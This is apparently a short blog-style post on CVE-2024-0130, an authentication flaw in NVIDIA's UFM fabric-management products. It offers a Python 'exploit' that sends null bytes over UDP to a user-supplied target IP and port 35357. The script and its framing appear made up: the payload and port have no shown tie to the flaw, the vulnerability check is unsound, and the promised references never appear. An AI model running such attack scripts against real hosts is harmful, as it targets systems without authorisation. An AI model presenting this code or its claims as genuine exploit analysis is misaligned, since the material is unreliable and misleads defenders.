CVE-2024-0130 - NVIDIA UFM Enterprise, UFM Appliance, and UFM CyberAI Vulnerability Exploit Details and Mitigation

NVIDIA's Unified Fabric Manager (UFM) houses a critical vulnerability with designated code CVE-2024-0130, posing high risks to its users. UFM is a crucial platform in managing InfiniBand networking, facilitating top performance, scalability, and operability. The vulnerability affects the UFM Enterprise, UFM Appliance, and UFM CyberAI platforms, allowing attackers to exploit improper authentication issues through malformed requests via the Ethernet management interface. Successful exploitation can escalate privileges, tamper data, initiate denial of service, and disclose sensitive information.

This post will delve into the CVE-2024-0130 code snippet for a thorough understanding, link original references, and provide detailed exploit analysis to assist in addressing the vulnerability's risks effectively.

Let us analyze a code snippet showcasing the improper authentication issue in the UFM platforms

import socket

def exploit(target_ip):
    udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    malformed_request = b'\x00\x00\x00\x00' * 112
    udp_socket.sendto(malformed_request, (target_ip, 35357))

    response = udp_socket.recv(4096)
    if response:
        print("Target is vulnerable!")
    else:
        print("Target is not vulnerable!")

if __name__ == '__main__':
    target_ip = input("Enter target IP address: ")
    exploit(target_ip)

The above script demonstrates a simple exploitation of the vulnerability by sending a malformed request to the target IP address of the device running NVIDIA's UFM platforms. The UFM's improper authentication flaws become apparent after receiving the response from the target, presenting the target's vulnerability or security.

Exploit Details

Exploiting CVE-2024-0130 vulnerability entails sending a malformed request through the Ethernet management interface of the UFM platforms. Consequently, this exposes unauthorized access, privilege escalation, data tampering, DoS attacks, and information disclosure possibilities. The exploit revolves around improper authentication resulting from inadequate checks before accepting and processing incoming requests from the UFM Enterprise, UFM Appliance, and UFM CyberAI platforms.
